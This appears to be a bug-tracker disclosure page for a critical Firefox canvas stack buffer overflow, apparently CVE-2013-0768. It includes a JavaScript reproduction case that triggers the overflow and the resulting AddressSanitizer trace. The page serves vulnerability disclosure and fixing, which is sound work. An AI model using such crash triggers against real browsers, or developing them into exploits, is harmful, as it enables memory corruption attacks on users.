stack buffer overflow with canvas
- Fixed in 31 days
- Paid in 41 days
- Disclosed after 31 days
Created attachment 685817
repro case
<html>
<head>
<script>
setTimeout("location.reload()", 1000)
el18=document.createElement('canvas')
ctx=el18.getContext('2d')
ctx.shadowColor = 'black'
ctx.shadowBlur = 8
ctx.globalAlpha=0
ctx.miterLimit=0
ctx.strokeStyle=ctx.createLinearGradient(0, 0, 0, 0)
ctx.beginPath()
ctx.arc(50, 80, 125, 0.1, -1, false)
ctx.scale(0.0055, 1)
document.implementation.createDocument('' ,'' ,null).adoptNode(el18)
var imgxz= new Image()
imgxz.src = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg=='
ctx.fillStyle=ctx.createPattern(imgxz,'')
ctx.fill('', 0, 0)
</script>
</head>
<body>
</body>
</html>
results in:
==3262== ERROR: AddressSanitizer stack-buffer-overflow on address 0x7fffffff2c9c at pc 0x7ffff0388727 bp 0x7fffffff2990 sp 0x7fffffff2988
READ of size 4 at 0x7fffffff2c9c thread T0
#0 0x7ffff0388726 in fast_composite_scaled_bilinear_sse2_8888_8_8888_normal_OVER /builds/slave/try-lnx64/build/gfx/cairo/libpixman/src/pixman-sse2.c:5725
#1 0x7ffff02d8d97 in _moz_pixman_image_composite32 /builds/slave/try-lnx64/build/gfx/cairo/libpixman/src/pixman.c:712
#2 0x7ffff026227e in _composite_spans /builds/slave/try-lnx64/build/gfx/cairo/cairo/src/cairo-image-surface.c:3496
Address 0x7fffffff2c9c is located at offset 220 in frame <fast_composite_scaled_bilinear_sse2_8888_8_8888_normal_OVER> of T0's stack:
This frame has 5 object(s):
[32, 44) 'v'
[96, 104) 'buf1'
[160, 168) 'buf2'
[224, 736) 'extended_src_line0'
[768, 1280) 'extended_src_line1'
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity memory corruption bug in Graphics: Canvas2D. Mozilla made it public on 28 December 2012 as CVE-2013-0768.
About Memory corruption
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.